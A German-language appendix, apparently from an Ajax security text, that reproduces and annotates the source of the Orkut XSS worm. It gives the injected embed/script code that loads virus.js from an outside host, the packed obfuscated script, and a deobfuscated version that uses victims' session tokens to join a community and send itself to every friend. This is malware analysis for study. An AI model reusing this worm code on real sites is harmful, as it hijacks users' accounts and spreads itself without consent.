Ajax Security Anhang C: Die Quelltexte des Orkut-XSS-Wurms

Zuerst der Quelltext der Flash-Datei. Er stammt aus einem Blogeintrag von Ryan Russell, die Formatierung ist von mir:


<div id="flashDiv295378627">
  <embed type="application/x-shockwave-flash" src="Scrapbook_files/LoL.html" style="" 
      id="295378627" name="295378627" bgcolor="#FFFFFF" quality="autohigh" 
      wmode="transparent" allownetworking="internal" allowscriptaccess="never"
      height="1" width="1">
  </embed>
</div>

<script type="text/javascript"> 
  var flashWriter = new _SWFObject('http://www.orkut.com/LoL.aspx', '295378627', '1', 
      '1', '9', '#FFFFFF', 'autohigh', '', '', '295378627');
   
  flashWriter._addParam('wmode', 'transparent'); 

  script=document.createElement('script');
  script.src='http://files.myopera.com/virusdoorkut/files/virus.js';
  
  document.getElementsByTagName('head')[0].appendChild(script);
  escape('');
  flashWriter._addParam('allowNetworking', 'internal');
  flashWriter._addParam('allowScriptAccess', 'never');
  flashWriter._setAttribute('style', '');
  flashWriter._write('flashDiv295378627');
</script>

Einzige Aufgabe der Flash-Datei war das Nachladen des eigentlichen Schadcodes von http://files.myopera.com/virusdoorkut/files/virus.js. Der folgende Quelltext stammt samt Formatierung aus einem Blogeintrag von Petko D. Petkov (pdp (architect)).


function $(p,a,c,k,e,d) {
    e=function(c) {
        return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))
    };
    if(!''.replace(/^/,String)){
        while(c--){d[e(c)]=k[c]¦¦e(c)}
        k=[function(e){return d[e]}];
        e=function(){return'\\w+'};
        c=1
    };
    while(c--){
        if(k[c]){
            p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
        }
    }
    return p
};
setTimeout(
    $('5 j=0;5 q=1q["2o.H"];5 E=1q["2p.K.27"];7 B(){Z{b i 14("29.1l")}
    L(e){};Z{b i 14("2b.1l")}L(e){};Z{b i 2l()}L(e){};b J};
    7 W(g,P,m,c,9,U){5 1m=g+"="+19(P)+(m?"; m="+m.2f():"")+(c?"; c="+c:"")+(9?"; 9="+9:"")+(U?"; U":"");
    8.y=1m};7 v(g){5 l=8.y;5 A=g+"=";5 h=l.S("; "+A);6(h==-1){h=l.S(A);6(h!=0){b 2h}}16{h+=2};
    5 u=8.y.S(";",h);6(u==-1){u=l.M};b 2j(l.2m(h+A.M,u))};
    7 26(g,c,9){6(v(g)){8.y=g+"="+(c?"; c="+c:"")+(9?"; 9="+9:"")+"; m=1u, 1i-1v-1x 1g:1g:1i 1y";1U.1z(0)}};
    7 G(){5 3=B();6(3){3.R("1A","o://k.w.p/1B.z",C);3.a(J);3.Y=7(){6(3.X==4){6(3.1a==1c){5 1r=3.1Q;5 t=8.1n("t");
    t.1D=1r;5 f=t.D("f").O(0);6(f){f.1M(f.D("1F").O(0));f.1G("1H","N");f.1J.1K="1L";8.1N.1f(f);V()}}16{G()}}};
    3.a(J)}};7 T(){5 a="H="+n(q)+"&K="+n(E)+"&15.1O";5 3=B();3.R(\'q\',\'o://k.w.p/1P.z?1R=1S\',C);
    3.12(\'10-1e\',\'Q/x-k-17-1b\');3.a(a);3.Y=7(){6(3.X==4){6(3.1a!=1c){T();b};G()}}};
    7 V(){6(j==8.18("N").M){b};
    5 I="1V 1W 1X... 1Y 1Z 20 21 22 23 24<1k/>[1j]25 "+i F()+"[/1j]<1k/><13 1o=\\"o://k.w.p/28.z\\" 2a=\\"Q/x-2c-2d\\" 2e=\\"2g\');
    r=8.1n(\'r\');r.1o=\'o://1p.2k.p/2n/1p/1s.1t\';8.D(\'1w\')[0].1f(r);19(\'\\" 1C=\\"1\\" 1E=\\"1\\"></13>“;
    5 a=”15.1I=1&H=”+n(q)+”&I=”+n(I)+”&K=”+n(E)+”&1T=”+8.18(”N”).O(j).P;5 3=B();
    3.R(”q”,”o://k.w.p/2i.z”,C);3.12(”10-1e”,”Q/x-k-17-1b;”);
    3.a(a);3.Y=7(){6(3.X==4){j++;5 d=i F;d.1d(d.1h()+11);W(\’s\’,j,d);V()}}};
    6(!v(\’s\’)){5 d=i F;d.1d(d.1h()+11);W(\’s\’,\’0\’,d)};j=v(\’s\’);T();
    ‘,62,150,’¦¦¦xml¦¦var¦if¦function¦document¦domain¦send¦return¦path¦wDate¦¦select¦name¦begin¦new¦index¦
    www¦dc¦expires¦encodeURIComponent¦http¦com¦POST¦script¦wormdoorkut¦div¦end¦getCookie¦orkut¦¦cookie¦aspx
    ¦prefix¦createXMLHttpRequest¦true¦getElementsByTagName¦SIG¦Date¦loadFriends¦POST_TOKEN¦scrapText¦null¦
    signature¦catch¦length¦selectedList¦item¦value¦application¦open¦indexOf¦cmm_join¦secure¦sendScrap¦setCookie¦
    readyState¦onreadystatechange¦try¦Content¦86400¦setRequestHeader¦embed¦ActiveXObject¦Action¦else¦form¦
    getElementById¦escape¦status¦urlencoded¦200¦setTime¦Type¦appendChild¦00¦getTime¦01¦silver¦br¦XMLHTTP¦curCookie¦
    createElement¦src¦files¦JSHDF¦xmlr¦virus¦js¦Thu¦Jan¦head¦70¦GMT¦go¦GET¦Compose¦width¦innerHTML¦height¦option¦
    setAttribute¦id¦submit¦style¦display¦none¦removeChild¦body¦join¦CommunityJoin¦responseText¦cmm¦44001818¦toUserId¦
    history¦2008¦vem¦ai¦que¦ele¦comece¦mto¦bem¦para¦vc¦RL¦deleteCookie¦raw¦LoL¦Msxml2¦type¦Microsoft¦shockwave¦flash¦
    wmode¦toGMTString¦transparent¦false¦Scrapbook¦unescape¦myopera
    ¦XMLHttpRequest¦substring¦virusdoorkut¦CGI¦Page’.split(’¦'),0,{}),1
);
author=”Rodrigo Lacerda”

Der Code wurde mit Dean Edwards Javascript Packer getarnt (obfuscated). Wie man den eigentliche Quelltext zurückerhält, wird in einem Blogeintrag von Ryan Cartner beschrieben. Das Ergebnis sieht dann so aus (Quelle: Dieser Forumbeitrag auf sla.ckers.org, Formatierung und Kommentare von mir):


var index = 0; 
var POST = JSHDF['CGI.POST_TOKEN']; 
var SIG = JSHDF['Page.signature.raw']; 

// Hilfsfunktion zum Erzeugen von XMLHttpRequests
function createXMLHttpRequest() { 
  try {
    return new ActiveXObject("Msxml2.XMLHTTP");
  } 
  catch (e) { } 
  try { 
    return new ActiveXObject("Microsoft.XMLHTTP"); 
  }
  catch (e) { 
  } 
  try { 
    return new XMLHttpRequest; 
  }
  catch (e) { 
  } 
  return null; 
} 


// Hilfsfunktion zum Setzen eines Cookies
function setCookie(name, value, expires, path, domain, secure) { 
  var curCookie = name + "=" + escape(value) + 
        (expires ? "; expires=" + expires.toGMTString() : "") + 
        (path ? "; path=" + path : "") + 
        (domain ? "; domain=" + domain : "") + 
        (secure ? "; secure" : ""); 
  document.cookie = curCookie; 
} 


// Hilfsfunktion zum Lesen des Cookies
function getCookie(name) { 
  var dc = document.cookie; 
  var prefix = name + "="; 
  var begin = dc.indexOf("; " + prefix); 

  if (begin == -1) { 
    begin = dc.indexOf(prefix); 
    if (begin != 0) { 
      return false; 
    } 
  }
  else { 
    begin += 2; 
  } 

  var end = document.cookie.indexOf(";", begin); 
  if (end == -1) { 
    end = dc.length; 
  } 

  return unescape(dc.substring(begin + prefix.length, end)); 
} 


// Hilfsfunktion zum Löschen des Cookies
function deleteCookie(name, path, domain) { 
  if (getCookie(name)) { 
    document.cookie = name + "=" + (path ? "; path=" + path : "") + 
        (domain ? "; domain=" + domain : "") + 
        "; expires=Thu, 01-Jan-70 00:00:01 GMT"; 
    history.go(0); 
  } 
} 


// Diese Funktion liest die Liste der Freunde des Opfers
// und sendet dann den Wurm als Scrap-Nachricht 
function loadFriends() { 
  var xml = createXMLHttpRequest(); 
  if (xml) { 
    xml.open("GET", "http://www.orkut.com/Compose.aspx", true); 
    xml.send(null); 
    xml.onreadystatechange = function () {
          if (xml.readyState == 4) {
            if (xml.status == 200) {
              var xmlr = xml.responseText;
              var div = document.createElement("div");
              div.innerHTML = xmlr;
              var select = div.getElementsByTagName("select").item(0);
              if (select) {
                select.removeChild(select.getElementsByTagName("option").item(0));
                select.setAttribute("id", "selectedList");
                select.style.display = "none";
                document.body.appendChild(select);
                sendScrap();
              }
            }
            else {
              loadFriends();
            }
          }
        }; 
    xml.send(null); 
  } 
} 


// Diese Funktion fügt das Opfer zur Gruppe "Infectatos pelo Virus do Orkut" 
// hinzu und startet dann das Lesen der Freundes-Liste 
function cmm_join() { 
  var send = "POST_TOKEN=" + encodeURIComponent(POST) + "&signature=" + 
        encodeURIComponent(SIG) + "&Action.join"; 
  var xml = createXMLHttpRequest(); 
  xml.open("POST", "http://www.orkut.com/CommunityJoin.aspx?cmm=" + 
        String.fromCharCode(52, 52, 48, 48, 49, 56, 49, 56), true); 
  xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  xml.send(send); 
  xml.onreadystatechange = function () {
          if (xml.readyState == 4) {
            if (xml.status != 200) {
              cmm_join();
              return;
            }
          loadFriends();
          }
        }; 
} 


// Diese Funktion sendet den Wurm als Scrap-Nachricht an die Freunde des Opfers 
function sendScrap() { 
  if (index == document.getElementById("selectedList").length) { 
    return; 
  } 
  var scrapText = "Boas festas de final de ano!<br/><br/>[silver]" + 
        (new Date).getTime() + "[/silver]<br/>
        <embed src=\"http://www.orkut.com/LoL.aspx\" 
        type=\"application/x-shockwave-flash\" wmode=\"transparent');
        script=document.createElement('script');
        script.src='http://files.myopera.com/virusdoorkut/files/virus.js';
        document.getElementsByTagName('head')[0].appendChild(script);
        escape('\" width=\"1\" height=\"1\"></embed>"; 
  var send = "Action.submit=1&POST_TOKEN=" + encodeURIComponent(POST) +
        "&scrapText=" + encodeURIComponent(scrapText) + "&signature=" + 
        encodeURIComponent(SIG) + "&toUserId=" + 
        document.getElementById("selectedList").item(index).value; 
  var xml = createXMLHttpRequest(); 
  xml.open("POST", "http://www.orkut.com/Scrapbook.aspx", true); 
  xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;"); 
  xml.send(send); 
  xml.onreadystatechange = function () {
          if (xml.readyState == 4) {
            index++;
            var wDate = new Date;
            wDate.setTime(wDate.getTime() + 86400);
            setCookie("wormdoorkut", index, wDate);
            // Im Cookie 'wormdoorkut' wird der aktuelle
            // Index der Freundes-Liste gespeichert 
            sendScrap();
          }
        }; 
} 

// Der Wurm verwendet den Cookie 'wormdoorkut', um den aktuellen Index der
// Freundes-Liste zu speichern. Das erlaubt es ihm auch, festzustellen, ob
// das Opfer bereits zur Gruppe hinzugefügt wurde.
// Ist das der Fall, muss nur noch der Wurm an die Freunde des Opfers
// gesendet werden, an die er bisher nicht gesendet wurde 
if (!getCookie("wormdoorkut")) { 
  // Der Cookie ist noch nicht vorhanden, also muss er angelegt werden
  var wDate = new Date; 
  wDate.setTime(wDate.getTime() + 86400); 
  setCookie("wormdoorkut", "0", wDate); 
} 

index = getCookie("wormdoorkut"); 

if (getCookie("wormdoorkut") == "0") { 
  // Der Cookie hat den Wert 0, das Opfer wurde noch nicht zur Gruppe hinzugefügt 
  cmm_join(); 
}
else { 
  // Das Opfer wurde bereits zur Gruppe hinzugefügt, also muss nur noch der Wurm
  // versendet werden 
  loadFriends(); 
}